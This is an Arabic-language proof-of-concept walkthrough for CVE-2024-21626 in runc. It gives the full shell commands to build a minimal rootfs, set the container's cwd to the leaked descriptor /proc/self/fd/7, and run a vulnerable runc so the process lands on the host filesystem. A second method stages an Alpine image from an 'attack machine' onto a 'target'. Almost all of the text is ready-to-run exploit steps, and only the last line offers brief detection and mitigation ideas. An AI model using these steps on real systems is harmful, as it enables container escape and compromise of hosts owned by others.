
إثبات المفهوم لـ CVE-2024-21626: runc يُسرّب مؤشر ملف داخلي (fd) يشير إلى دليل العمل الحالي للمضيف (host CWD) قبل pivot_root، مما يتيح الهروب من الحاوية عن طريق تعيين process.cwd إلى /proc/self/fd/7
| الحقل | التفاصيل |
|---|---|
| CVE | CVE-2024-21626 |
| المكون المتأثر | runc ≤ 1.1.11 |
| فئة الثغرة | هروب من الحاوية عبر تسرب واصف ملف |
| اللقب | أوعية متسربة (Leaky Vessels) |
runc يسرّب واصف ملف داخلي (عادةً fd/7) يشير إلى دليل العمل الخاص بنظام الملفات المضيف قبل تنفيذ عملية الحاوية. من خلال تعيين cwd للحاوية في config.json إلى /proc/self/fd/7، تهبط العملية في دليل مضيف بدلاً من جذر الحاوية — مما يحقق هروبًا من الحاوية.
أنشئ جذرًا مصغرًا بنسخ البرامج الثنائية مباشرة من المضيف:
# 1. إنشاء هيكل الدليل
cd /tmp && mkdir -p strikoder/rootfs && cd strikoder
mkdir -p rootfs/lib64 rootfs/lib
# 2. نسخ البرامج الثنائية والمكتبات المطلوبة
cp -aL /bin rootfs/bin
cp /lib64/ld-linux-x86-64.so.2 rootfs/lib64/
cp -a /lib/x86_64-linux-gnu rootfs/lib
# 3. إنشاء تكوين OCI الافتراضي
runc spec
# 4. تعديل cwd في config.json للإشارة إلى واصف المضيف المسرب
# غيّر: "cwd": "/"
# إلى: "cwd": "/proc/self/fd/7"
vi config.json
# 5. تشغيل الحاوية باستخدام ثنائي runc المتأثر
sudo /opt/debug --log /tmp/log.json run strikontainer
ما يحدث: runc يفتح fd/7 الذي يشير إلى دليل العمل الحالي للمضيف قبل الانتقال إلى جذر الحاوية. تعيين cwd إلى /proc/self/fd/7 يجعل runc يقوم بـ chdir() إلى مسار المضيف بدلاً من الحاوية — مما يوصلك على نظام الملفات الحقيقي.
إذا كنت بحاجة إلى بيئة أكثر اكتمالاً أو كان المضيف يحتوي على برامج محدودة:
# --- على جهاز الهجوم الخاص بك ---
# تصدير نظام ملفات Alpine مصغر
docker export $(docker create alpine:latest) > alpine.tar
# انقل alpine.tar إلى الهدف، ثم:
# --- على الهدف ---
mkdir -p /tmp/strikoder/rootfs && cd /tmp/strikoder
tar -xvf /path/to/alpine.tar -C rootfs
# إنشاء حزمة OCI
runc spec
# تعديل cwd (نفس الطريقة الأولى)
vi config.json
# "cwd": "/proc/self/fd/7"
# التشغيل
sudo /opt/debug --log /tmp/log.json run strikontainer
openat() على /proc/self/fd/ داخل إعدادات cwd للحاوية؛ أنبه على حزم OCI التي تحتوي cwd على /proc/self/fd/proc؛ فكر في الحاويات غير الجذرية أو gVisor/Kata لعزل أقوى